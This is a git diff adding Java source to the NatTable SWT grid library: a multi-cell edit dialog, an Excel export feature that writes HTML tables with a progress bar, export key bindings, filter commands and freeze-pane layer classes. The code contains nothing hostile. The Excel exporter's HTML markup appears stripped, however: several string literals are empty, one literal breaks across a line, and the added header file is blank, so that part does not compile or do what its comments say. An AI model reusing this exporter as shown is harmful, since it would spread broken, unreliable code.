+import net.sourceforge.nattable.edit.EditTypeEnum; +import net.sourceforge.nattable.edit.ICellEditHandler; +import net.sourceforge.nattable.edit.editor.ICellEditor; +import net.sourceforge.nattable.selection.SelectionLayer.MoveDirectionEnum; +import net.sourceforge.nattable.style.IStyle; + +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.DisposeEvent; +import org.eclipse.swt.events.DisposeListener; +import org.eclipse.swt.events.KeyEvent; +import org.eclipse.swt.events.KeyListener; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Combo; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Shell; + +public class MultiCellEditDialog extends Dialog { + + private static final String SET = "Set"; + private static final String INCREASE_BY = "Increase by"; + private static final String DECREASE_BY = "Decrease by"; + private static final String [] OPTIONS = {SET, INCREASE_BY, DECREASE_BY}; + + private final ICellEditor cellEditor; + private final Object originalCanonicalValue; + private final Character initialEditValue; + private final IDisplayConverter dataTypeConverter; + private final IStyle cellStyle; + private final IDataValidator dataValidator; + private final boolean allowIncrementDecrement; + + private Combo updateCombo; + private int lastSelectedIndex = 0; + + private Object editorValue; + + public MultiCellEditDialog(Shell parentShell, + final ICellEditor cellEditor, + final IDisplayConverter dataTypeConverter, + final IStyle cellStyle, + final IDataValidator dataValidator, + final Object originalCanonicalValue, + final Character initialEditValue, + final boolean allowIncrementDecrement) { + + super(parentShell); + setShellStyle(SWT.RESIZE | SWT.APPLICATION_MODAL| SWT.DIALOG_TRIM); + + this.cellEditor = cellEditor; + this.dataTypeConverter = dataTypeConverter; + this.cellStyle = cellStyle; + this.dataValidator = dataValidator; + this.originalCanonicalValue = originalCanonicalValue; + this.initialEditValue = initialEditValue; + this.allowIncrementDecrement = allowIncrementDecrement; + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText("Enter new value"); + } + + @Override + protected Control createDialogArea(Composite parent) { + Composite panel = new Composite(parent, SWT.NONE); + GridDataFactory.fillDefaults().grab(true, true).applyTo(panel); + + GridLayout panelLayout = new GridLayout(allowIncrementDecrement ? 2 : 1,false); + panel.setLayout(panelLayout); + + if (allowIncrementDecrement) { + createUpdateCombo(panel); + } + + ActiveCellEditor.close(); + ActiveCellEditor.activate(cellEditor, panel, originalCanonicalValue, initialEditValue, dataTypeConverter, cellStyle, dataValidator, new MultiEditHandler(), 0, 0, 0, 0); + Control editorControl = ActiveCellEditor.getControl(); + // propagate the ESC event from the editor to the dialog + editorControl.addKeyListener(getEscKeyListener()); + + final GridDataFactory layoutData = GridDataFactory.fillDefaults().grab(true, false).hint(100, 20); + if (allowIncrementDecrement) { + layoutData.indent(5, 0); + } + layoutData.applyTo(editorControl); + + return panel; + } + + /** + * Create a listener for the ESC key. Cancel and dispose dialog. + */ + private KeyListener getEscKeyListener() { + return new KeyListener() { + + public void keyReleased(KeyEvent e) { + if (e.keyCode == SWT.ESC) { + closeDialog(); + } + } + + public void keyPressed(KeyEvent e) { + if (e.keyCode == SWT.ESC) { + closeDialog(); + } + } + + private void closeDialog() { + setReturnCode(SWT.CANCEL); + close(); + } + }; + } + + private void createUpdateCombo(Composite composite) { + updateCombo = new Combo(composite, SWT.READ_ONLY | SWT.DROP_DOWN | SWT.BORDER); + + for (String option : OPTIONS) { + updateCombo.add(option); + } + + updateCombo.select(0); + + updateCombo.addDisposeListener(new DisposeListener() { + + public void widgetDisposed(DisposeEvent arg0) { + lastSelectedIndex = updateCombo.getSelectionIndex(); + } + + }); + + GridDataFactory.swtDefaults().applyTo(updateCombo); + } + + @Override + protected void okPressed() { + if (ActiveCellEditor.isValid()) { + Object canonicalValue = ActiveCellEditor.getCanonicalValue(); + if (ActiveCellEditor.validateCanonicalValue()) { + editorValue = canonicalValue; + super.okPressed(); + } + } + } + + public EditTypeEnum getEditType() { + if (allowIncrementDecrement && updateCombo != null) { + + int selectionIndex = updateCombo.isDisposed() ? lastSelectedIndex : updateCombo.getSelectionIndex(); + + switch (selectionIndex) { + case 0: + return EditTypeEnum.SET; + case 1: + return EditTypeEnum.INCREASE; + case 2: + return EditTypeEnum.DECREASE; + } + } + return EditTypeEnum.SET; + } + + public Object getEditorValue() { + return editorValue; + } + + class MultiEditHandler implements ICellEditHandler { + public boolean commit(MoveDirectionEnum direction, boolean closeAfterCommit) { + if (direction == MoveDirectionEnum.NONE) { + if (closeAfterCommit) { + okPressed(); + return true; + } + } + return false; + } + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/export/excel/ExcelExportProgessBar.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/export/excel/ExcelExportProgessBar.java new file mode 100644 index 0000000..0f12f2a --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/export/excel/ExcelExportProgessBar.java @@ -0,0 +1,39 @@ +package net.sourceforge.nattable.export.excel; + +import org.eclipse.swt.SWT; +import org.eclipse.swt.widgets.ProgressBar; +import org.eclipse.swt.widgets.Shell; + +public class ExcelExportProgessBar { + + private Shell shell; + private Shell childShell; + private ProgressBar progressBar; + + public ExcelExportProgessBar(Shell shell) { + this.shell = shell; + } + + public void open(int minValue, int maxValue) { + childShell = new Shell(shell.getDisplay(), SWT.DIALOG_TRIM | SWT.APPLICATION_MODAL); + childShell.setText("Exporting to Excel.. please wait"); + + progressBar = new ProgressBar(childShell, SWT.SMOOTH); + progressBar.setMinimum(minValue); + progressBar.setMaximum(maxValue); + progressBar.setBounds(0, 0, 400, 25); + progressBar.setFocus(); + + childShell.pack(); + childShell.open(); + } + + public void dispose() { + progressBar.dispose(); + childShell.dispose(); + } + + public void setSelection(int value) { + progressBar.setSelection(value); + } +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/export/excel/ExcelExporter.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/export/excel/ExcelExporter.java new file mode 100644 index 0000000..08dc9ef --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/export/excel/ExcelExporter.java @@ -0,0 +1,156 @@ +package net.sourceforge.nattable.export.excel; + +import static net.sourceforge.nattable.util.ObjectUtils.isNotNull; + +import java.io.IOException; +import java.io.InputStream; +import java.io.OutputStream; + +import net.sourceforge.nattable.config.IConfigRegistry; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.layer.cell.LayerCell; +import net.sourceforge.nattable.print.command.TurnViewportOnCommand; +import net.sourceforge.nattable.style.CellStyleAttributes; +import net.sourceforge.nattable.style.CellStyleProxy; +import net.sourceforge.nattable.util.IClientAreaProvider; + +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.graphics.Font; +import org.eclipse.swt.graphics.FontData; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.widgets.Shell; + +public class ExcelExporter { + + private static final Object DEFAULT = ""; + private static final String EXCEL_HEADER_FILE = "excelExportHeader.txt"; + private final ILayer layer; + private final IConfigRegistry configRegistry; + private final IClientAreaProvider originalClientAreaProvider; + + public ExcelExporter(ILayer layer, IConfigRegistry configRegistry) { + this.layer = layer; + this.configRegistry = configRegistry; + originalClientAreaProvider = layer.getClientAreaProvider(); + } + + /** + * Create an HTML table suitable for Excel. + * + * @param outputStream + * to write the output to + * @param positionRectangle + * of the layer to export + * @throws IOException + */ + public void export(final Shell shell, final OutputStream outputStream, final Rectangle positionRectangle) throws IOException { + final ExcelExportProgessBar progressBar = new ExcelExportProgessBar(shell); + + Runnable exporter = new Runnable() { + public void run(){ + try { + int startRow = positionRectangle.y; + int endRow = startRow + positionRectangle.height; + progressBar.open(startRow, endRow); + + writeHeader(outputStream); + outputStream.write(asBytes("")); + + for (int rowPosition = startRow; rowPosition <= endRow; rowPosition++) { + progressBar.setSelection(rowPosition); + outputStream.write(asBytes("\n")); + + int startColumn = positionRectangle.x; + int endColumn = startColumn + positionRectangle.width; + for (int colPosition = startColumn; colPosition <= endColumn; colPosition++) { + LayerCell cell = layer.getCellByPosition(colPosition, rowPosition); + outputStream.write(asBytes("\t" + getCellAsHTML(cell) + "\n")); + } + outputStream.write(asBytes("\n")); + } + outputStream.write(asBytes("
    ")); + } catch (Exception e) { + logError(e); + } finally { + try { + outputStream.close(); + } catch (IOException e) { + logError(e); + } + + // These must be fired at the end of the thread execution + layer.setClientAreaProvider(originalClientAreaProvider); + layer.doCommand(new TurnViewportOnCommand()); + progressBar.dispose(); + } + } + }; + + // Run with the SWT display so that the progress bar can paint + shell.getDisplay().asyncExec(exporter); + } + + private void logError(Exception e) { + System.err.println("Excel Exporter failed: " + e.getMessage()); + e.printStackTrace(System.err); + } + + private void writeHeader(OutputStream outputStream) throws IOException { + InputStream headerStream = null; + try { + headerStream = this.getClass().getResourceAsStream(EXCEL_HEADER_FILE); + int c; + while ((c = headerStream.read()) != -1) { + outputStream.write(c); + } + } catch (Exception e) { + logError(e); + } finally { + if (isNotNull(headerStream)) { + headerStream.close(); + } + } + } + + private String getCellAsHTML(LayerCell cell) { + Object dataValue = cell.getDataValue(); + + return String.format("%s", + getStyleAsHtmlAttribute(cell), + dataValue != null ? dataValue : DEFAULT); + } + + private String getStyleAsHtmlAttribute(LayerCell cell) { + CellStyleProxy cellStyle = new CellStyleProxy(configRegistry, cell.getDisplayMode(), cell.getConfigLabels().getLabels()); + Color fg = cellStyle.getAttributeValue(CellStyleAttributes.FOREGROUND_COLOR); + Color bg = cellStyle.getAttributeValue(CellStyleAttributes.BACKGROUND_COLOR); + Font font = cellStyle.getAttributeValue(CellStyleAttributes.FONT); + + return String.format("style='color: %s; background-color: %s; %s;'", + getColorInCSSFormat(fg), + getColorInCSSFormat(bg), + getFontInCSSFormat(font)); + } + + private String getFontInCSSFormat(Font font) { + FontData fontData = font.getFontData()[0]; + String fontName = fontData.getName(); + int fontStyle = fontData.getStyle(); + String HTML_STYLES[] = new String[] { "NORMAL", "BOLD", "ITALIC" }; + + return String.format("font: %s; font-family: %s", + fontStyle <= 2 ? HTML_STYLES[fontStyle] : HTML_STYLES[0], + fontName); + } + + private String getColorInCSSFormat(Color color) { + return String.format("rgb(%d,%d,%d)", + Integer.valueOf(color.getRed()), + Integer.valueOf(color.getGreen()), + Integer.valueOf(color.getBlue())); + } + + private byte[] asBytes(String string) { + return string.getBytes(); + } +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/export/excel/action/ExportToExcelAction.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/export/excel/action/ExportToExcelAction.java new file mode 100644 index 0000000..526acb3 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/export/excel/action/ExportToExcelAction.java @@ -0,0 +1,21 @@ +package net.sourceforge.nattable.export.excel.action; + +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.export.excel.command.ExportToExcelCommand; +import net.sourceforge.nattable.print.command.TurnViewportOffCommand; +import net.sourceforge.nattable.print.command.TurnViewportOnCommand; +import net.sourceforge.nattable.ui.action.IKeyAction; + +import org.eclipse.swt.events.KeyEvent; + +public class ExportToExcelAction implements IKeyAction { + + public void run(NatTable natTable, KeyEvent event) { + natTable.doCommand(new TurnViewportOffCommand()); + + natTable.doCommand(new ExportToExcelCommand(natTable.getConfigRegistry(), natTable.getShell())); + + natTable.doCommand(new TurnViewportOnCommand()); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/export/excel/command/ExportToExcelCommand.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/export/excel/command/ExportToExcelCommand.java new file mode 100644 index 0000000..c20641b --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/export/excel/command/ExportToExcelCommand.java @@ -0,0 +1,25 @@ +package net.sourceforge.nattable.export.excel.command; + +import net.sourceforge.nattable.command.AbstractContextFreeCommand; +import net.sourceforge.nattable.config.IConfigRegistry; + +import org.eclipse.swt.widgets.Shell; + +public class ExportToExcelCommand extends AbstractContextFreeCommand { + + private IConfigRegistry configRegistry; + private final Shell shell; + + public ExportToExcelCommand(IConfigRegistry configRegistry, Shell shell) { + this.configRegistry = configRegistry; + this.shell = shell; + } + + public IConfigRegistry getConfigRegistry() { + return configRegistry; + } + + public Shell getShell() { + return shell; + } +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/export/excel/command/ExportToExcelCommandHandler.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/export/excel/command/ExportToExcelCommandHandler.java new file mode 100644 index 0000000..be5b3dd --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/export/excel/command/ExportToExcelCommandHandler.java @@ -0,0 +1,91 @@ +package net.sourceforge.nattable.export.excel.command; + +import java.io.IOException; +import java.io.OutputStream; +import java.io.PrintStream; + +import net.sourceforge.nattable.command.AbstractLayerCommandHandler; +import net.sourceforge.nattable.export.excel.ExcelExporter; +import net.sourceforge.nattable.grid.layer.GridLayer; +import net.sourceforge.nattable.print.command.PrintEntireGridCommand; +import net.sourceforge.nattable.util.IClientAreaProvider; + +import org.eclipse.swt.SWT; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.widgets.FileDialog; + +public class ExportToExcelCommandHandler extends AbstractLayerCommandHandler { + + private final GridLayer gridLayer; + + public ExportToExcelCommandHandler(GridLayer gridLayer) { + this.gridLayer = gridLayer; + } + + @Override + public boolean doCommand(ExportToExcelCommand command) { + try { + OutputStream outputStream = getOutputStream(command); + if (outputStream == null) { + return true; + } + + ExcelExporter excelExporter = new ExcelExporter(gridLayer, command.getConfigRegistry()); + + // This needs to be done so that the Grid can return all the cells + // not just the ones visible in the viewport + setClientAreaToMaximum(); + + excelExporter.export(command.getShell(), outputStream, getMaximumLayerSize()); + } catch (IOException e) { + throw new RuntimeException("Failed to export table to excel.", e); + } + return true; + } + + /** + * Override this to plugin custom OutputStream. + */ + protected OutputStream getOutputStream(ExportToExcelCommand command) throws IOException { + FileDialog dialog = new FileDialog (command.getShell(), SWT.SAVE); + dialog.setFilterPath ("/"); + dialog.setOverwrite(true); + + dialog.setFileName ("table_export.xls"); + dialog.setFilterExtensions(new String [] {"Microsoft Office Excel Workbook(.xls)"}); + String fileName = dialog.open(); + if(fileName == null){ + return null; + } + return new PrintStream(fileName); + } + + /** + * @return Position rectangle with the max layer size + */ + private Rectangle getMaximumLayerSize() { + final int width = gridLayer.getWidth(); + final int height = gridLayer.getHeight(); + + int lastRowPosition = gridLayer.getColumnPositionByX(width - 1); + int lastColPosition = gridLayer.getRowPositionByY(height - 1); + return new Rectangle(0, 0, lastRowPosition, lastColPosition); + } + + private void setClientAreaToMaximum() { + final Rectangle maxClientArea = new Rectangle(0, 0, gridLayer.getWidth(), gridLayer.getHeight()); + + gridLayer.setClientAreaProvider(new IClientAreaProvider() { + public Rectangle getClientArea() { + return maxClientArea; + } + }); + + gridLayer.doCommand(new PrintEntireGridCommand()); + } + + public Class getCommandClass() { + return ExportToExcelCommand.class; + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/export/excel/config/DefaultExportToExcelBindings.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/export/excel/config/DefaultExportToExcelBindings.java new file mode 100644 index 0000000..0c4d602 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/export/excel/config/DefaultExportToExcelBindings.java @@ -0,0 +1,16 @@ +package net.sourceforge.nattable.export.excel.config; + +import net.sourceforge.nattable.config.AbstractUiBindingConfiguration; +import net.sourceforge.nattable.export.excel.action.ExportToExcelAction; +import net.sourceforge.nattable.ui.binding.UiBindingRegistry; +import net.sourceforge.nattable.ui.matcher.KeyEventMatcher; + +import org.eclipse.swt.SWT; + +public class DefaultExportToExcelBindings extends AbstractUiBindingConfiguration { + + public void configureUiBindings(UiBindingRegistry uiBindingRegistry) { + uiBindingRegistry.registerKeyBinding(new KeyEventMatcher(SWT.CTRL, 'e'), new ExportToExcelAction()); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/export/excel/excelExportHeader.txt b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/export/excel/excelExportHeader.txt new file mode 100644 index 0000000..220d606 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/export/excel/excelExportHeader.txt @@ -0,0 +1,53 @@ + + + + + + + + \ No newline at end of file diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/filterrow/command/ClearAllFiltersCommand.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/filterrow/command/ClearAllFiltersCommand.java new file mode 100644 index 0000000..65daeb5 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/filterrow/command/ClearAllFiltersCommand.java @@ -0,0 +1,6 @@ +package net.sourceforge.nattable.filterrow.command; + +import net.sourceforge.nattable.command.AbstractContextFreeCommand; + +public class ClearAllFiltersCommand extends AbstractContextFreeCommand { +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/filterrow/command/ClearFilterCommand.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/filterrow/command/ClearFilterCommand.java new file mode 100644 index 0000000..42bfd65 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/filterrow/command/ClearFilterCommand.java @@ -0,0 +1,17 @@ +package net.sourceforge.nattable.filterrow.command; + +import net.sourceforge.nattable.command.AbstractColumnCommand; +import net.sourceforge.nattable.command.ILayerCommand; +import net.sourceforge.nattable.layer.ILayer; + +public class ClearFilterCommand extends AbstractColumnCommand { + + public ClearFilterCommand(ILayer layer, int columnPosition) { + super(layer, columnPosition); + } + + public ILayerCommand cloneCommand() { + return new ClearFilterCommand(getLayer(), getColumnPosition()); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/filterrow/command/ToggleFilterRowCommand.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/filterrow/command/ToggleFilterRowCommand.java new file mode 100644 index 0000000..867de6e --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/filterrow/command/ToggleFilterRowCommand.java @@ -0,0 +1,6 @@ +package net.sourceforge.nattable.filterrow.command; + +import net.sourceforge.nattable.command.AbstractContextFreeCommand; + +public class ToggleFilterRowCommand extends AbstractContextFreeCommand { +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/freeze/CompositeFreezeLayer.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/freeze/CompositeFreezeLayer.java new file mode 100644 index 0000000..098e19b --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/freeze/CompositeFreezeLayer.java @@ -0,0 +1,70 @@ +package net.sourceforge.nattable.freeze; + +import net.sourceforge.nattable.config.IConfigRegistry; +import net.sourceforge.nattable.freeze.command.FreezeCommandHandler; +import net.sourceforge.nattable.freeze.config.DefaultFreezeGridBindings; +import net.sourceforge.nattable.grid.layer.DimensionallyDependentLayer; +import net.sourceforge.nattable.layer.CompositeLayer; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.painter.layer.ILayerPainter; +import net.sourceforge.nattable.selection.SelectionLayer; +import net.sourceforge.nattable.util.GUIHelper; +import net.sourceforge.nattable.viewport.ViewportLayer; + +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Rectangle; + +public class CompositeFreezeLayer extends CompositeLayer { + + private final FreezeLayer freezeLayer; + + private ILayerPainter layerPainter = new FreezableLayerPainter(); + + public CompositeFreezeLayer(FreezeLayer freezeLayer, ViewportLayer viewportLayer, SelectionLayer selectionLayer) { + this(freezeLayer, viewportLayer, selectionLayer, true); + } + + public CompositeFreezeLayer(FreezeLayer freezeLayer, ViewportLayer viewportLayer, SelectionLayer selectionLayer, boolean useDefaultConfiguration) { + super(2, 2); + this.freezeLayer = freezeLayer; + + setChildLayer("FROZEN_REGION", freezeLayer, 0, 0); + setChildLayer("FROZEN_ROW_REGION", new DimensionallyDependentLayer(selectionLayer, viewportLayer, freezeLayer), 1, 0); + setChildLayer("FROZEN_COLUMN_REGION", new DimensionallyDependentLayer(selectionLayer, freezeLayer, viewportLayer), 0, 1); + setChildLayer("NONFROZEN_REGION", viewportLayer, 1, 1); + + registerCommandHandler(new FreezeCommandHandler(freezeLayer, viewportLayer, selectionLayer)); + + if (useDefaultConfiguration) { + addConfiguration(new DefaultFreezeGridBindings()); + } + } + + @Override + public ILayerPainter getLayerPainter() { + return layerPainter; + } + + class FreezableLayerPainter extends CompositeLayerPainter { + @Override + public void paintLayer(ILayer natLayer, GC gc, int xOffset, int yOffset, Rectangle rectangle, IConfigRegistry configRegistry) { + super.paintLayer(natLayer, gc, xOffset, yOffset, rectangle, configRegistry); + + gc.setClipping(rectangle); + Color oldFg = gc.getForeground(); + gc.setForeground(GUIHelper.COLOR_BLUE); + final int freezeWidth = freezeLayer.getWidth() - 1; + if (freezeWidth > 0) { + gc.drawLine(xOffset + freezeWidth, yOffset, xOffset + freezeWidth, yOffset + getHeight() - 1); + } + final int freezeHeight = freezeLayer.getHeight() - 1; + if (freezeHeight > 0) { + gc.drawLine(xOffset, yOffset + freezeHeight, xOffset + getWidth() - 1, yOffset + freezeHeight); + } + gc.setForeground(oldFg); + } + + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/freeze/FreezeLayer.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/freeze/FreezeLayer.java new file mode 100644 index 0000000..ec9c9a8 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/freeze/FreezeLayer.java @@ -0,0 +1,146 @@ +package net.sourceforge.nattable.freeze; + +import net.sourceforge.nattable.coordinate.PositionCoordinate; +import net.sourceforge.nattable.freeze.event.FreezeEventHandler; +import net.sourceforge.nattable.layer.AbstractLayerTransform; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.layer.IUniqueIndexLayer; +import net.sourceforge.nattable.layer.LayerUtil; + +public class FreezeLayer extends AbstractLayerTransform implements IUniqueIndexLayer { + + private PositionCoordinate topLeftPosition = new PositionCoordinate(this, -1, -1); + + private PositionCoordinate bottomRightPosition = new PositionCoordinate(this, -1, -1); + + public FreezeLayer(IUniqueIndexLayer underlyingLayer) { + super(underlyingLayer); + + registerEventHandler(new FreezeEventHandler(this)); + } + + // Coordinates + + public PositionCoordinate getTopLeftPosition() { + return topLeftPosition; + } + + public void setTopLeftPosition(int leftColumnPosition, int topRowPosition) { + this.topLeftPosition = new PositionCoordinate(this, leftColumnPosition, topRowPosition); + } + + public PositionCoordinate getBottomRightPosition() { + return bottomRightPosition; + } + + public void setBottomRightPosition(int rightColumnPosition, int bottomRowPosition) { + this.bottomRightPosition = new PositionCoordinate(this, rightColumnPosition, bottomRowPosition); + } + + // Column features + + @Override + public int getColumnCount() { + if (topLeftPosition.columnPosition >= 0 && bottomRightPosition.columnPosition >= 0) { + return bottomRightPosition.columnPosition - topLeftPosition.columnPosition + 1; + } else { + return 0; + } + } + + @Override + public int getPreferredColumnCount() { + return getColumnCount(); + } + + public int getColumnPositionByIndex(int columnIndex) { + IUniqueIndexLayer underlyingLayer = (IUniqueIndexLayer) getUnderlyingLayer(); + return underlyingToLocalColumnPosition(underlyingLayer, underlyingLayer.getColumnPositionByIndex(columnIndex)); + } + + @Override + public int localToUnderlyingColumnPosition(int localColumnPosition) { + return topLeftPosition.columnPosition + localColumnPosition; + } + + @Override + public int underlyingToLocalColumnPosition(ILayer sourceUnderlyingLayer, int underlyingColumnPosition) { + return underlyingColumnPosition - topLeftPosition.columnPosition; + } + + @Override + public int getWidth() { + int width = 0; + for (int columnPosition = 0; columnPosition < getColumnCount(); columnPosition++) { + width += getColumnWidthByPosition(columnPosition); + } + return width; + } + + @Override + public int getPreferredWidth() { + return getWidth(); + } + + @Override + public int getStartXOfColumnPosition(int columnPosition) { + IUniqueIndexLayer underlyingLayer = (IUniqueIndexLayer) getUnderlyingLayer(); + final int underlyingColumnPosition = LayerUtil.convertColumnPosition(this, columnPosition, underlyingLayer); + return underlyingLayer.getStartXOfColumnPosition(underlyingColumnPosition) - underlyingLayer.getStartXOfColumnPosition(topLeftPosition.columnPosition); + } + + // Row features + + @Override + public int getRowCount() { + if (topLeftPosition.rowPosition >= 0 && bottomRightPosition.rowPosition >= 0) { + int frozenRowCount = bottomRightPosition.rowPosition - topLeftPosition.rowPosition + 1; + int underlyingRowCount = getUnderlyingLayer().getRowCount(); + return frozenRowCount <= underlyingRowCount ? frozenRowCount : 0; + } else { + return 0; + } + } + + @Override + public int getPreferredRowCount() { + return getRowCount(); + } + + public int getRowPositionByIndex(int rowIndex) { + IUniqueIndexLayer underlyingLayer = (IUniqueIndexLayer) getUnderlyingLayer(); + return underlyingToLocalRowPosition(underlyingLayer, underlyingLayer.getRowPositionByIndex(rowIndex)); + } + + @Override + public int localToUnderlyingRowPosition(int localRowPosition) { + return topLeftPosition.rowPosition + localRowPosition; + } + + @Override + public int underlyingToLocalRowPosition(ILayer sourceUnderlyingLayer, int underlyingRowPosition) { + return underlyingRowPosition - topLeftPosition.rowPosition; + } + + @Override + public int getHeight() { + int height = 0; + for (int rowPosition = 0; rowPosition < getRowCount(); rowPosition++) { + height += getRowHeightByPosition(rowPosition); + } + return height; + } + + @Override + public int getPreferredHeight() { + return getHeight(); + } + + @Override + public int getStartYOfRowPosition(int rowPosition) { + IUniqueIndexLayer underlyingLayer = (IUniqueIndexLayer) getUnderlyingLayer(); + final int underlyingRowPosition = LayerUtil.convertRowPosition(this, rowPosition, underlyingLayer); + return underlyingLayer.getStartYOfRowPosition(underlyingRowPosition) - underlyingLayer.getStartYOfRowPosition(topLeftPosition.rowPosition); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/freeze/action/FreezeGridAction.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/freeze/action/FreezeGridAction.java new file mode 100644 index 0000000..bb453fb --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/freeze/action/FreezeGridAction.java @@ -0,0 +1,15 @@ +package net.sourceforge.nattable.freeze.action; + +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.freeze.command.FreezeSelectionCommand; +import net.sourceforge.nattable.ui.action.IKeyAction; + +import org.eclipse.swt.events.KeyEvent; + +public class FreezeGridAction implements IKeyAction { + + public void run(NatTable natTable, KeyEvent event) { + natTable.doCommand(new FreezeSelectionCommand()); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/freeze/action/UnFreezeGridAction.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/freeze/action/UnFreezeGridAction.java new file mode 100644 index 0000000..93a0e67 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/freeze/action/UnFreezeGridAction.java @@ -0,0 +1,14 @@ +package net.sourceforge.nattable.freeze.action; + +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.freeze.command.UnFreezeGridCommand; +import net.sourceforge.nattable.ui.action.IKeyAction; + +import org.eclipse.swt.events.KeyEvent; + +public class UnFreezeGridAction implements IKeyAction { + + public void run(NatTable natTable, KeyEvent event) { + natTable.doCommand(new UnFreezeGridCommand()); + } +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/freeze/command/FreezeColumnCommand.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/freeze/command/FreezeColumnCommand.java new file mode 100644 index 0000000..ce82580 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/freeze/command/FreezeColumnCommand.java @@ -0,0 +1,21 @@ +package net.sourceforge.nattable.freeze.command; + +import net.sourceforge.nattable.command.AbstractColumnCommand; +import net.sourceforge.nattable.command.ILayerCommand; +import net.sourceforge.nattable.layer.ILayer; + +public class FreezeColumnCommand extends AbstractColumnCommand implements IFreezeCommand { + + public FreezeColumnCommand(ILayer layer, int columnPosition) { + super(layer, columnPosition); + } + + protected FreezeColumnCommand(FreezeColumnCommand command) { + super(command); + } + + public ILayerCommand cloneCommand() { + return new FreezeColumnCommand(this); + } + +} \ No newline at end of file diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/freeze/command/FreezeColumnStrategy.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/freeze/command/FreezeColumnStrategy.java new file mode 100644 index 0000000..bf7441b --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/freeze/command/FreezeColumnStrategy.java @@ -0,0 +1,25 @@ +package net.sourceforge.nattable.freeze.command; + +import net.sourceforge.nattable.coordinate.PositionCoordinate; +import net.sourceforge.nattable.freeze.FreezeLayer; + +class FreezeColumnStrategy implements IFreezeCoordinatesProvider { + + private final FreezeLayer freezeLayer; + + private final int columnPosition; + + FreezeColumnStrategy(FreezeLayer freezeLayer, int columnPosition) { + this.freezeLayer = freezeLayer; + this.columnPosition = columnPosition; + } + + public PositionCoordinate getTopLeftPosition() { + return new PositionCoordinate(freezeLayer, 0, -1); + } + + public PositionCoordinate getBottomRightPosition() { + return new PositionCoordinate(freezeLayer, columnPosition, -1); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/freeze/command/FreezeCommandHandler.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/freeze/command/FreezeCommandHandler.java new file mode 100644 index 0000000..31b16fa --- /dev/null +++ 